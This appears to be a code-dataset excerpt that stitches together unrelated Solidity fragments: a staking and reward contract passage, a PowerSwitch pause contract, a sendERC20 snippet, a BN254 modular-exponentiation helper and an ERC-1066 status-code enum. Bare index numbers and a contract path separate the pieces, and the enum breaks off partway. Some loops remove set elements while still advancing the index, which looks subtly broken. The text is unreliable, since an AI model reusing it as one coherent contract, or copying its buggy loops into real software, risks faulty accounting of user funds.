/// @param amount uint256 Amount of reward tokens to deposit function fund(address token, uint256 amount) external { _admin(); require(_bonusTokenSet.contains(token) || token == rewardToken, "cannot fund with unrecognized token"); // transfer reward tokens to reward pool TransferHelper.safeTransferFrom( token, msg.sender, rewardPool, amount ); // emit event emit UniStakerFunded(token, amount); } /// @notice Rescue tokens from RewardPool /// @dev use this function to rescue tokens from RewardPool contract without distributing to stakers or triggering emergency shutdown /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: none /// token transfer: transfer requested token from RewardPool to recipient /// @param token address The address of the token to rescue /// @param recipient address The address of the recipient /// @param amount uint256 The amount of tokens to rescue function rescueTokensFromRewardPool( address token, address recipient, uint256 amount ) external { _admin(); // verify recipient require(isValidAddress(recipient), "invalid recipient"); // transfer tokens to recipient IRewardPool(rewardPool).sendERC20(token, recipient, amount); } /// @notice Add vault factory to whitelist /// @dev use this function to enable stakes to vaults coming from the specified factory contract /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - append to _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function registerVaultFactory(address factory) external { _admin(); // add factory to set require(_vaultFactorySet.add(factory), "UniStaker: vault factory already registered"); // emit event emit VaultFactoryRegistered(factory); } /// @notice Remove vault factory from whitelist /// @dev use this function to disable new stakes to vaults coming from the specified factory contract. /// note: vaults with existing stakes from this factory are sill able to unstake /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - remove from _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function removeVaultFactory(address factory) external { _admin(); // remove factory from set require(_vaultFactorySet.remove(factory), "UniStaker: vault factory not registered"); // emit event emit VaultFactoryRemoved(factory); } /// @notice Register bonus token for distribution /// @dev use this function to enable distribution of any ERC20 held by the RewardPool contract /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - append to _bonusTokenSet /// token transfer: none /// @param bonusToken address The address of the bonus token function registerBonusToken(address bonusToken) external { _admin(); // verify valid bonus token require(isValidAddress(bonusToken), "invalid bonus token address or is already present"); // verify bonus token count require(_bonusTokenSet.length() < MAX_BONUS_TOKENS, "UniStaker: max bonus tokens reached "); // add token to set _bonusTokenSet.add(bonusToken); // emit event emit BonusTokenRegistered(bonusToken); } /// @notice Remove bonus token /// @dev use this function to disable distribution of a token held by the RewardPool contract /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - remove from _bonusTokenSet /// token transfer: none /// @param bonusToken address The address of the bonus token function removeBonusToken(address bonusToken) external { _admin(); require(_bonusTokenSet.remove(bonusToken), "UniStaker: bonus token not present "); // emit event emit BonusTokenRemoved(bonusToken); } function addRewardCalcTemplate(string calldata name, address template) external { _admin(); require(rewardCalcTemplates[name] == address(0), "Template already exists"); rewardCalcTemplates[name] = template; if(rewardCalcTemplateNames.length == 0) { activeRewardCalcTemplate = name; emit RewardCalcTemplateActive(name, template); } rewardCalcTemplateNames.push(name); emit RewardCalcTemplateAdded(name, template); } function setRewardCalcActiveTemplate(string calldata name) external { _admin(); require(rewardCalcTemplates[name] != address(0), "Template does not exist"); activeRewardCalcTemplate = name; emit RewardCalcTemplateActive(name, rewardCalcTemplates[name]); } function startLMRewards(address token, uint256 amount, uint256 duration) external { startLMRewards(token, amount, duration, activeRewardCalcTemplate); } function startLMRewards(address token, uint256 amount, uint256 duration, string memory rewardCalcTemplateName) public { _admin(); require(lmRewards[token].startedAt == 0, "A reward program already live for this token"); require(rewardCalcTemplates[rewardCalcTemplateName] != address(0), "Reward Calculator Template does not exist"); // create reward calc clone from template address rewardCalcInstance = ProxyFactory._create(rewardCalcTemplates[rewardCalcTemplateName], abi.encodeWithSelector(IERC2917.initialize.selector)); LMRewardData storage lmrd = lmRewards[token]; lmrd.amount = amount; lmrd.duration = duration; lmrd.startedAt = block.timestamp; lmrd.rewardCalcInstance = rewardCalcInstance; } function setImplementorForRewardsCalculator(address token, address newImplementor) public { _admin(); require(lmRewards[token].startedAt != 0, "No reward program currently live for this token"); address rewardCalcInstance = lmRewards[token].rewardCalcInstance; IERC2917(rewardCalcInstance).setImplementor(newImplementor); } function setLMRewardsPerBlock(address token, uint value) public onlyOnline { _admin(); require(lmRewards[token].startedAt != 0, "No reward program currently live for this token"); address rewardCalcInstance = lmRewards[token].rewardCalcInstance; IERC2917(rewardCalcInstance).changeInterestRatePerBlock(value); } function addBonusTokenToLMRewards(address lmToken, address bonusToken, uint256 bonusTokenAmount) public { _admin(); require(lmRewards[lmToken].startedAt != 0, "No reward program currently live for this LM token"); require(_bonusTokenSet.contains(bonusToken), "Bonus token not registered"); lmRewards[lmToken].bonusTokens.add(bonusToken); lmRewards[lmToken].bonusTokenAmounts[bonusToken] = lmRewards[lmToken].bonusTokenAmounts[bonusToken].add(bonusTokenAmount); } function endLMRewards(address token, bool removeBonusTokenData) public { _admin(); lmRewards[token].amount = 0; lmRewards[token].duration = 0; lmRewards[token].startedAt = 0; lmRewards[token].rewardCalcInstance = address(0); if (removeBonusTokenData) { for (uint index = 0; index < lmRewards[token].bonusTokens.length(); index++) { address bonusToken = lmRewards[token].bonusTokens.at(index); lmRewards[token].bonusTokens.remove(bonusToken); delete lmRewards[token].bonusTokenAmounts[bonusToken]; } } } function setWeeklyAirdropAmount(string calldata tier, uint256 amount) external { _admin(); weeklyAirdropAmounts[tier] = amount; } function setBalanceRequiredToClaim(string calldata tier, uint256 amount) external { _admin(); balancesRequiredToClaim[tier] = amount; } function setMaxStakesPerVault(uint256 amount) external { _admin(); MAX_TOKENS_STAKED_PER_VAULT = amount; } function setMaxBonusTokens(uint256 amount) external { _admin(); MAX_BONUS_TOKENS = amount; } function setMinRewardClaimFrequency(uint256 amount) external { _admin(); MIN_AIRDROP_REWARD_CLAIM_FREQUENCY = amount; } function setPlatinumLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); PLATINUM_LM_REWARD_MULTIPLIER_NUM = numerator; PLATINUM_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setGoldLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); GOLD_LM_REWARD_MULTIPLIER_NUM = numerator; GOLD_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setMintLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); MINT_LM_REWARD_MULTIPLIER_NUM = numerator; MINT_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setBlackLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); BLACK_LM_REWARD_MULTIPLIER_NUM = numerator; BLACK_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setLMRewardVestingPeriod(uint256 amount) external { _admin(); LM_REWARD_VESTING_PERIOD = amount; } function setLMRewardVestingPortion(uint256 numerator, uint denominator) external { _admin(); LM_REWARD_VESTING_PORTION_NUM = numerator; LM_REWARD_VESTING_PORTION_DENOM = denominator; } /* getter functions */ function getBonusTokenSetLength() external view override returns (uint256 length) { return _bonusTokenSet.length(); } function getBonusTokenAtIndex(uint256 index) external view override returns (address bonusToken) { return _bonusTokenSet.at(index); } function getVaultFactorySetLength() external view override returns (uint256 length) { return _vaultFactorySet.length(); } function getVaultFactoryAtIndex(uint256 index) external view override returns (address factory) { return _vaultFactorySet.at(index); } function getNumVaults() external view override returns (uint256 num) { return _vaultSet.length(); } function getVaultAt(uint256 index) external view override returns (address vault) { return _vaultSet.at(index); } function getNumTokensStaked() external view override returns (uint256 num) { return _allStakedTokens.length(); } function getTokenStakedAt(uint256 index) external view override returns (address token) { return _allStakedTokens.at(index); } function getNumTokensStakedInVault(address vault) external view override returns (uint256 num) { return _vaults[vault].tokens.length(); } function getVaultTokenAtIndex(address vault, uint256 index) external view override returns (address vaultToken) { return _vaults[vault].tokens.at(index); } function getVaultTokenStake(address vault, address token) external view override returns (uint256 tokenStake) { return _vaults[vault].tokenStake[token]; } function getNftTier(uint256 nftId, address nftFactory) public view returns (string memory tier) { uint256 serialNumber = MethodNFTFactory(nftFactory).tokenIdToSerialNumber(nftId); if (serialNumber >= 1 && serialNumber <= 100) { tier = PLATINUM; } else if (serialNumber >= 101 && serialNumber <= 1000) { tier = GOLD; } else if (serialNumber >= 1001 && serialNumber <= 5000) { tier = MINT; } else if (serialNumber >= 5001) { tier = BLACK; } } function getNftsOfOwner(address owner, address nftFactory) public view returns (uint256[] memory nftIds) { uint256 balance = MethodNFTFactory(nftFactory).balanceOf(owner); nftIds = new uint256[](balance); for (uint256 index = 0; index < balance; index++) { uint256 nftId = MethodNFTFactory(nftFactory).tokenOfOwnerByIndex(owner, index); nftIds[index] = nftId; } } function getLMRewardData(address token) external view override returns (uint amount, uint duration, uint startedAt, address rewardCalcInstance) { return (lmRewards[token].amount, lmRewards[token].duration, lmRewards[token].startedAt, lmRewards[token].rewardCalcInstance); } function getLMRewardBonusTokensLength(address token) external view override returns (uint length) { return lmRewards[token].bonusTokens.length(); } function getLMRewardBonusTokenAt(address token, uint index) external view override returns (address bonusToken, uint bonusTokenAmount) { return (lmRewards[token].bonusTokens.at(index), lmRewards[token].bonusTokenAmounts[lmRewards[token].bonusTokens.at(index)]); } function getNumVestingLMTokenRewards(address user) external view override returns (uint num) { return vestingLMTokenRewards[user].length(); } function getVestingLMTokenAt(address user, uint index) external view override returns (address token) { return vestingLMTokenRewards[user].at(index); } function getNumVests(address user, address token) external view override returns (uint num) { return vestingLMRewards[user][token].length; } function getLMRewardVestingData(address user, address token, uint index) external view override returns (uint amount, uint startedAt) { return (vestingLMRewards[user][token][index].amount, vestingLMRewards[user][token][index].startedAt); } function getNumRewardCalcTemplates() external view override returns (uint num) { return rewardCalcTemplateNames.length; } /* helper functions */ function isValidVault(address vault, address factory) public view override returns (bool validity) { // validate vault is created from whitelisted vault factory and is an instance of that factory return _vaultFactorySet.contains(factory) && IInstanceRegistry(factory).isInstance(vault); } function isValidAddress(address target) public view override returns (bool validity) { // sanity check target for potential input errors return target != address(this) && target != address(0) && target != rewardToken && target != rewardPool && !_bonusTokenSet.contains(target); } function calculateAirdropReward(address owner, address nftFactory) public returns (uint256 amount, uint256 balanceRequiredToClaim, uint256 balanceLocked) { uint256[] memory nftIds = getNftsOfOwner(owner, nftFactory); return calculateAirdropReward(nftFactory, nftIds); } function calculateAirdropReward(address nftFactory, uint256[] memory nftIds) public returns (uint256 amount, uint256 balanceRequiredToClaim, uint256 balanceLocked) { for (uint256 index = 0; index < nftIds.length; index++) { uint256 nftId = nftIds[index]; (uint256 amnt, uint256 balRequired, uint256 balLocked) = calculateAirdropReward(nftFactory, nftId); amount = amount.add(amnt); balanceRequiredToClaim = balanceRequiredToClaim.add(balRequired); balanceLocked = balanceLocked.add(balLocked); } } function calculateAirdropReward(address nftFactory, uint256 nftId) public returns (uint256 amount, uint256 balanceRequiredToClaim, uint256 balanceLocked) { address vaultAddress = address(nftId); require(isValidVault(vaultAddress, nftFactory), "UniStaker: vault is not valid"); // first ever claim if (nftLastClaimedRewardAt[nftId] == 0) { nftLastClaimedRewardAt[nftId] = block.timestamp; return (0,0,0); } uint256 secondsSinceLastClaim = block.timestamp.sub(nftLastClaimedRewardAt[nftId]); require(secondsSinceLastClaim > MIN_AIRDROP_REWARD_CLAIM_FREQUENCY, "Claimed reward recently"); // get tier string memory tier = getNftTier(nftId, nftFactory); // get balance locked of reward token (MTHD) uint256 balanceLockedInVault = IUniversalVault(vaultAddress).getBalanceLocked(rewardToken); balanceLocked = balanceLocked.add(balanceLockedInVault); // get number of epochs since last claim uint256 epochsSinceLastClaim = secondsSinceLastClaim.div(MIN_AIRDROP_REWARD_CLAIM_FREQUENCY); uint256 accruedReward; bytes32 tierHash = keccak256(abi.encodePacked(tier)); if (tierHash == keccak256(abi.encodePacked(PLATINUM))) { accruedReward = weeklyAirdropAmounts[PLATINUM].mul(epochsSinceLastClaim); amount = amount.add(accruedReward); balanceRequiredToClaim = balanceRequiredToClaim.add(balancesRequiredToClaim[PLATINUM]); } else if (tierHash == keccak256(abi.encodePacked(GOLD))) { accruedReward = weeklyAirdropAmounts[GOLD].mul(epochsSinceLastClaim); amount = amount.add(accruedReward); balanceRequiredToClaim = balanceRequiredToClaim.add(balancesRequiredToClaim[GOLD]); } else if (tierHash == keccak256(abi.encodePacked(MINT))) { accruedReward = weeklyAirdropAmounts[MINT].mul(epochsSinceLastClaim); amount = amount.add(accruedReward); balanceRequiredToClaim = balanceRequiredToClaim.add(balancesRequiredToClaim[MINT]); } else if (tierHash == keccak256(abi.encodePacked(BLACK))) { accruedReward = weeklyAirdropAmounts[BLACK].mul(epochsSinceLastClaim); amount = amount.add(accruedReward); balanceRequiredToClaim = balanceRequiredToClaim.add(balancesRequiredToClaim[BLACK]); } } /* convenience functions */ function _processAirdropRewardClaim(address nftFactory, uint256[] memory nftIds) private { (uint256 amount, uint256 balanceRequiredToClaim, uint256 balanceLocked) = calculateAirdropReward(nftFactory, nftIds); require(balanceLocked > balanceRequiredToClaim, "Insufficient MTHD tokens staked for claiming airdrop reward"); // update claim times _updateClaimTimes(nftIds); // send out IRewardPool(rewardPool).sendERC20(rewardToken, msg.sender, amount); emit RewardClaimed(nftFactory, msg.sender, rewardToken, amount); } function _updateClaimTimes(uint256[] memory nftIds) private { for (uint256 index = 0; index < nftIds.length; index++) { uint256 nftId = nftIds[index]; nftLastClaimedRewardAt[nftId] = block.timestamp; } } function _tierMultipliedReward(uint nftId, address nftFactory, uint reward) private view returns (uint multipliedReward) { // get tier string memory tier = getNftTier(nftId, nftFactory); bytes32 tierHash = keccak256(abi.encodePacked(tier)); if (tierHash == keccak256(abi.encodePacked(PLATINUM))) { multipliedReward = reward.mul(PLATINUM_LM_REWARD_MULTIPLIER_NUM).div(PLATINUM_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(GOLD))) { multipliedReward = reward.mul(GOLD_LM_REWARD_MULTIPLIER_NUM).div(GOLD_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(MINT))) { multipliedReward = reward.mul(MINT_LM_REWARD_MULTIPLIER_NUM).div(MINT_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(BLACK))) { multipliedReward = reward.mul(BLACK_LM_REWARD_MULTIPLIER_NUM).div(BLACK_LM_REWARD_MULTIPLIER_DENOM); } } /* user functions */ /// @notice Exit UniStaker without claiming reward /// @dev This function should never revert when correctly called by the vault. /// A max number of tokens staked per vault is set with MAX_TOKENS_STAKED_PER_VAULT to /// place an upper bound on the for loop. /// access control: callable by anyone but fails if caller is not an approved vault /// state machine: /// - when vault exists on this UniStaker /// - when active stake from this vault /// - any power state /// state scope: /// - decrease stakedTokenTotal[token], delete if 0 /// - delete _vaults[vault].tokenStake[token] /// - remove _vaults[vault].tokens.remove(token) /// - delete _vaults[vault] /// - remove vault from _vaultSet /// - remove token from _allStakedTokens if required /// token transfer: none function rageQuit() external override { require(_vaultSet.contains(msg.sender), "UniStaker: no vault"); //fetch vault storage reference VaultData storage vaultData = _vaults[msg.sender]; // revert if no active tokens staked EnumerableSet.AddressSet storage vaultTokens = vaultData.tokens; require(vaultTokens.length() > 0, "UniStaker: no stake"); // update totals for (uint256 index = 0; index < vaultTokens.length(); index++) { address token = vaultTokens.at(index); vaultTokens.remove(token); uint256 amount = vaultData.tokenStake[token]; uint256 newTotal = stakedTokenTotal[token].sub(amount); assert(newTotal >= 0); if (newTotal == 0) { _allStakedTokens.remove(token); delete stakedTokenTotal[token]; } else { stakedTokenTotal[token] = newTotal; } delete vaultData.tokenStake[token]; } // delete vault data _vaultSet.remove(msg.sender); delete _vaults[msg.sender]; // emit event emit RageQuit(msg.sender); } /// @notice Stake tokens /// @dev anyone can stake to any vault if they have valid permission /// access control: anyone /// state machine: /// - can be called multiple times /// - only online /// - when vault exists on this UniStaker /// state scope: /// - add token to _vaults[vault].tokens if not already exists /// - increase _vaults[vault].tokenStake[token] /// - add vault to _vaultSet if not already exists /// - add token to _allStakedTokens if not already exists /// - increase stakedTokenTotal[token] /// token transfer: transfer staking tokens from msg.sender to vault /// @param vault address The address of the vault to stake to /// @param vaultFactory address The address of the vault factory which created the vault /// @param token address The address of the token being staked /// @param amount uint256 The amount of tokens to stake function stake( address vault, address vaultFactory, address token, uint256 amount, bytes calldata permission ) external override onlyOnline { // verify vault is valid require(isValidVault(vault, vaultFactory), "UniStaker: vault is not valid"); // verify non-zero amount require(amount != 0, "UniStaker: no amount staked"); // check sender balance require(IERC20(token).balanceOf(msg.sender) >= amount, "insufficient token balance"); // add vault to set _vaultSet.add(vault); // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // verify stakes boundary not reached require(vaultData.tokens.length() < MAX_TOKENS_STAKED_PER_VAULT, "UniStaker: MAX_TOKENS_STAKED_PER_VAULT reached"); // add token to set and increase amount vaultData.tokens.add(token); vaultData.tokenStake[token] = vaultData.tokenStake[token].add(amount); // update total token staked _allStakedTokens.add(token); stakedTokenTotal[token] = stakedTokenTotal[token].add(amount); // perform transfer TransferHelper.safeTransferFrom(token, msg.sender, vault, amount); // call lock on vault IUniversalVault(vault).lock(token, amount, permission); // check if there is a reward program currently running if (lmRewards[token].startedAt != 0) { address rewardCalcInstance = lmRewards[token].rewardCalcInstance; (,uint rewardEarned,) = IERC2917(rewardCalcInstance).increaseProductivity(msg.sender, amount); earnedLMRewards[msg.sender][token] = earnedLMRewards[msg.sender][token].add(rewardEarned); } // emit event emit Staked(vault, amount); } /// @notice Unstake tokens and claim reward /// @dev LM rewards can only be claimed when unstaking /// access control: anyone with permission /// state machine: /// - when vault exists on this UniStaker /// - after stake from vault /// - can be called multiple times while sufficient stake remains /// - only online /// state scope: /// - decrease _vaults[vault].tokenStake[token] /// - delete token from _vaults[vault].tokens if token stake is 0 /// - decrease stakedTokenTotal[token] /// - delete token from _allStakedTokens if total token stake is 0 /// token transfer: /// - transfer reward tokens from reward pool to recipient /// - transfer bonus tokens from reward pool to recipient /// @param vault address The vault to unstake from /// @param vaultFactory address The vault factory that created this vault /// @param recipient address The recipient to send reward to /// @param token address The staking token /// @param amount uint256 The amount of staking tokens to unstake /// @param claimBonusReward bool flag to claim bonus rewards function unstakeAndClaim( address vault, address vaultFactory, address recipient, address token, uint256 amount, bool claimBonusReward, bytes calldata permission ) external override onlyOnline { require(_vaultSet.contains(vault), "UniStaker: no vault"); // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // verify non-zero amount require(amount != 0, "UniStaker: no amount unstaked"); // validate recipient require(isValidAddress(recipient), "UniStaker: invalid recipient"); // check for sufficient vault stake amount require(vaultData.tokens.contains(token), "UniStaker: no token in vault"); // check for sufficient vault stake amount require(vaultData.tokenStake[token] >= amount, "UniStaker: insufficient vault token stake"); // check for sufficient total token stake amount // if the above check succeeds and this check fails, there is a bug in stake accounting require(stakedTokenTotal[token] >= amount, "stakedTokenTotal[token] is less than amount being unstaked"); // check if there is a reward program currently running uint rewardEarned = earnedLMRewards[msg.sender][token]; if (lmRewards[token].startedAt != 0) { address rewardCalcInstance = lmRewards[token].rewardCalcInstance; (,uint newReward,) = IERC2917(rewardCalcInstance).decreaseProductivity(msg.sender, amount); rewardEarned = rewardEarned.add(newReward); } // decrease totalStake of token in this vault vaultData.tokenStake[token] = vaultData.tokenStake[token].sub(amount); if (vaultData.tokenStake[token] == 0) { vaultData.tokens.remove(token); delete vaultData.tokenStake[token]; } // decrease stakedTokenTotal across all vaults stakedTokenTotal[token] = stakedTokenTotal[token].sub(amount); if (stakedTokenTotal[token] == 0) { _allStakedTokens.remove(token); delete stakedTokenTotal[token]; } // unlock staking tokens from vault IUniversalVault(vault).unlock(token, amount, permission); // emit event emit Unstaked(vault, amount); // only perform on non-zero reward if (rewardEarned > 0) { // transfer bonus tokens from reward pool to recipient // bonus tokens can only be claimed during an active rewards program if (claimBonusReward && lmRewards[token].startedAt != 0) { for (uint256 index = 0; index < lmRewards[token].bonusTokens.length(); index++) { // fetch bonus token address reference address bonusToken = lmRewards[token].bonusTokens.at(index); // calculate bonus token amount // bonusAmount = rewardEarned * allocatedBonusReward / allocatedMainReward uint256 bonusAmount = rewardEarned.mul(lmRewards[token].bonusTokenAmounts[bonusToken]).div(lmRewards[token].amount); // transfer bonus token IRewardPool(rewardPool).sendERC20(bonusToken, recipient, bonusAmount); // emit event emit RewardClaimed(vault, recipient, bonusToken, bonusAmount); } } // take care of multiplier uint multipliedReward = _tierMultipliedReward(uint(vault), vaultFactory, rewardEarned); // take care of vesting uint vestingPortion = multipliedReward.mul(LM_REWARD_VESTING_PORTION_NUM).div(LM_REWARD_VESTING_PORTION_DENOM); vestingLMRewards[msg.sender][token].push(LMRewardVestingData(vestingPortion, block.timestamp)); vestingLMTokenRewards[msg.sender].add(token); // set earned reward to 0 earnedLMRewards[msg.sender][token] = 0; // transfer reward tokens from reward pool to recipient IRewardPool(rewardPool).sendERC20(rewardToken, recipient, multipliedReward.sub(vestingPortion)); // emit event emit RewardClaimed(vault, recipient, rewardToken, rewardEarned); } } function claimAirdropReward(address nftFactory) external override onlyOnline { uint256[] memory nftIds = getNftsOfOwner(msg.sender, nftFactory); _processAirdropRewardClaim(nftFactory, nftIds); } function claimAirdropReward(address nftFactory, uint256[] calldata nftIds) external override onlyOnline { _processAirdropRewardClaim(nftFactory, nftIds); } function claimVestedReward() external override onlyOnline { uint numTokens = vestingLMTokenRewards[msg.sender].length(); for (uint index = 0; index < numTokens; index++) { address token = vestingLMTokenRewards[msg.sender].at(index); claimVestedReward(token, vestingLMRewards[msg.sender][token].length); } } function claimVestedReward(address token) external override onlyOnline { claimVestedReward(token, vestingLMRewards[msg.sender][token].length); } function claimVestedReward(address token, uint numVests) public onlyOnline { require(numVests <= vestingLMRewards[msg.sender][token].length, "num vests can't be greater than available vests"); LMRewardVestingData[] storage vests = vestingLMRewards[msg.sender][token]; uint vestedReward; for (uint index = 0; index < numVests; index++) { LMRewardVestingData storage vest = vests[index]; uint duration = block.timestamp.sub(vest.startedAt); uint vested = vest.amount.mul(duration).div(LM_REWARD_VESTING_PERIOD); if (vested >= vest.amount) { // completely vested vested = vest.amount; // copy last element into this slot and pop last vests[index] = vests[vests.length - 1]; vests.pop(); index--; numVests--; // if all vested remove from set if (vests.length == 0) { vestingLMTokenRewards[msg.sender].remove(token); break; } } else { vest.amount = vest.amount.sub(vested); } vestedReward = vestedReward.add(vested); } if (vestedReward > 0) { // transfer reward tokens from reward pool to recipient IRewardPool(rewardPool).sendERC20(rewardToken, msg.sender, vestedReward); // emit event emit VestedRewardClaimed(msg.sender, rewardToken, vestedReward); } } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; interface IPowerSwitch { /* admin events */ event PowerOn(); event PowerOff(); event EmergencyShutdown(); /* data types */ enum State {Online, Offline, Shutdown} /* admin functions */ function powerOn() external; function powerOff() external; function emergencyShutdown() external; /* view functions */ function isOnline() external view returns (bool status); function isOffline() external view returns (bool status); function isShutdown() external view returns (bool status); function getStatus() external view returns (State status); function getPowerController() external view returns (address controller); } /// @title PowerSwitch /// @notice Standalone pausing and emergency stop functionality contract PowerSwitch is IPowerSwitch, Ownable { /* storage */ IPowerSwitch.State private _status; /* initializer */ constructor(address owner) { // sanity check owner require(owner != address(0), "PowerSwitch: invalid owner"); // transfer ownership Ownable.transferOwnership(owner); } /* admin functions */ /// @notice Turn Power On /// access control: only owner /// state machine: only when offline /// state scope: only modify _status /// token transfer: none function powerOn() external override onlyOwner { require(_status == IPowerSwitch.State.Offline, "PowerSwitch: cannot power on"); _status = IPowerSwitch.State.Online; emit PowerOn(); } /// @notice Turn Power Off /// access control: only owner /// state machine: only when online /// state scope: only modify _status /// token transfer: none function powerOff() external override onlyOwner { require(_status == IPowerSwitch.State.Online, "PowerSwitch: cannot power off"); _status = IPowerSwitch.State.Offline; emit PowerOff(); } /// @notice Shutdown Permanently /// access control: only owner /// state machine: /// - when online or offline /// - can only be called once /// state scope: only modify _status /// token transfer: none function emergencyShutdown() external override onlyOwner { require(_status != IPowerSwitch.State.Shutdown, "PowerSwitch: cannot shutdown"); _status = IPowerSwitch.State.Shutdown; emit EmergencyShutdown(); } /* getter functions */ function isOnline() external view override returns (bool status) { return _status == IPowerSwitch.State.Online; } function isOffline() external view override returns (bool status) { return _status == IPowerSwitch.State.Offline; } function isShutdown() external view override returns (bool status) { return _status == IPowerSwitch.State.Shutdown; } function getStatus() external view override returns (IPowerSwitch.State status) { return _status; } function getPowerController() external view override returns (address controller) { return Ownable.owner(); } }
Send an ERC20 token access control: only owner state machine: - can be called multiple times - only online state scope: none token transfer: transfer tokens from self to recipient token address The token to send to address The recipient to send to value uint256 Amount of tokens to send
function sendERC20( address token, address to, uint256 value ) external override onlyOwner onlyOnline { TransferHelper.safeTransfer(token, to, value); }
166,047
./partial_match/1/0xAB42127980a3bff124E6465e097a5fC97228827e/sources/eignlayr-contracts/src/contracts/libraries/BN254.sol
Use "invalid" to make gas estimation work
function expMod(uint256 _base, uint256 _exponent, uint256 _modulus) internal view returns (uint256 retval) { bool success; uint256[1] memory output; uint[6] memory input; input[3] = _base; input[4] = _exponent; input[5] = _modulus; assembly { success := staticcall(sub(gas(), 2000), 5, input, 0xc0, output, 0x20) } require(success); return output[0]; }
9,359,416
pragma solidity ^0.5.0; import { LocalizationPreferences} from "/ethereum-localized-messaging/contracts/LocalizationPreferences.sol"; import { FissionLocalization } from "./localization/FissionLocalization.sol"; /** * @title The FISSION Status Code Library * * @dev Implementation of broadly applicable status codes for smart contracts. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1066.md */ library FISSION { ///////////////////////////// Decomposed Enums ///////////////////////////// /// @dev The category component of an ERC-1066 status code (ie: the columns) enum Category { Generic, Permission, Find, Negotiation, Availability, Finance, x60, x70, x80, x90, ApplicationSpecific, xB0, xC0, xD0, Cryptography, OffChain } /// @dev The reason component of an ERC-1066 status code (ie: the rows) enum Reason { Failure, Success, AwaitingOthers, Accepted, LowerLimit, ActionRequested, UpperLimit, x06, x07, Inapplicable, x09, x0A, x0B, x0C, x0D, x0E, Informational } //////////////////////////// Simple Status Enum //////////////////////////// /// @dev ERC-1066 status codes encoded as human-readable enums enum Status { // 0x0* Failure, Success, AwatingOthers, Accepted, LowerLimit, RecieverActionRequested, UpperLimit, RESERVEDx07, Inapplicable, RESERVEDx09, RESERVEDx0A, RESERVEDx0B, RESERVEDx0C, RESERVEDx0D, RESERVEDx0E, Informational, // 0x1* Disallowed_Stop, Allowed_Go, AwaitingOthersPermission, PermissionRequested, TooOpen_Insecure, NeedsYourPermission_RequestForContinuation, Revoked, RESERVEDx17, NotApplicatableToCurrentState, RESERVEDx19, RESERVEDx1A, RESERVEDx1B, RESERVEDx1C, RESERVEDx1D, RESERVEDx1E, PermissionDetails_ControlConditions, // 0x2* NotFound_Unequal_OutOfRange, Found_Equal_InRange, AwaitingMatch, MatchRequestSent, BelowRange_Underflow, RequestForMatch, Above_Range_Overflow, RESERVEDx27, Duplicate_Conflict_Collision, RESERVEDx29, RESERVEDx2A, RESERVEDx2B, RESERVEDx2C, RESERVEDx2D, RESERVEDx2E, MatchingInformation, // 0x3* SenderDisagrees_Nay, SenderAgrees_Yea, AwaitingRatification, OfferSent_Voted, QuorumNotReached, ReceiversRatificationRequested, OfferOrVoteLimitReached, RESERVEDx37, AlreadyVoted, RESERVEDx39, RESERVEDx3A, RESERVEDx3B, RESERVEDx3C, RESERVEDx3D, RESERVEDx3E, NegotiationRules_ParticipationInformation, // 0x4* Unavailable, Available, Paused, Queued, NotAvailableYet, AwaitingYourAvailability, Expired, RESERVEDx47, AlreadyDone, RESERVEDx49, RESERVEDx4A, RESERVEDx4B, RESERVEDx4C, RESERVEDx4D, RESERVEDx4E, AvailabilityRules_Information, // 0x5* TransferFailed, TransferSuccessful, AwaitingPaymentFromOthers, Hold_Escrow, InsufficientFunds, FundsRequested, TransferVolumeExceeded, RESERVEDx57, FundsNotRequired, RESERVEDx59, RESERVEDx5A, RESERVEDx5B, RESERVEDx5C, RESERVEDx5D, RESERVEDx5E, FinancialInformation, // 0x6* RESERVEDx60, RESERVEDx61, RESERVEDx62, RESERVEDx63, RESERVEDx64, RESERVEDx65, RESERVEDx66, RESERVEDx67, RESERVEDx68, RESERVEDx69, RESERVEDx6A, RESERVEDx6B, RESERVEDx6C, RESERVEDx6D, RESERVEDx6E, RESERVEDx6F, // 0x7* RESERVEDx70, RESERVEDx71, RESERVEDx72, RESERVEDx73, RESERVEDx74, RESERVEDx75, RESERVEDx76, RESERVEDx77, RESERVEDx78, RESERVEDx79, RESERVEDx7A, RESERVEDx7B, RESERVEDx7C, RESERVEDx7D, RESERVEDx7E, RESERVEDx7F, // 0x8* RESERVEDx80, RESERVEDx81, RESERVEDx82, RESERVEDx83, RESERVEDx84, RESERVEDx85, RESERVEDx86, RESERVEDx87, RESERVEDx88, RESERVEDx89, RESERVEDx8A, RESERVEDx8B, RESERVEDx8C, RESERVEDx8D, RESERVEDx8E, RESERVEDx8F, // 0x9* RESERVEDx90, RESERVEDx91, RESERVEDx92, RESERVEDx93, RESERVEDx94, RESERVEDx95, RESERVEDx96, RESERVEDx97, RESERVEDx98, RESERVEDx99, RESERVEDx9A, RESERVEDx9B, RESERVEDx9C, RESERVEDx9D, RESERVEDx9E, RESERVEDx9F, // 0xA* ApplicationSpecificFailure, ApplicationSpecificSuccess, ApplicationSpecificAwatingOthers, ApplicationSpecificAccepted, ApplicationSpecificLowerLimit, ApplicationSpecificRecieverActionRequested, ApplicationSpecificUpperLimit, RESERVEDxA7, ApplicationSpecific_Inapplicable, RESERVEDxA9, RESERVEDxAA, 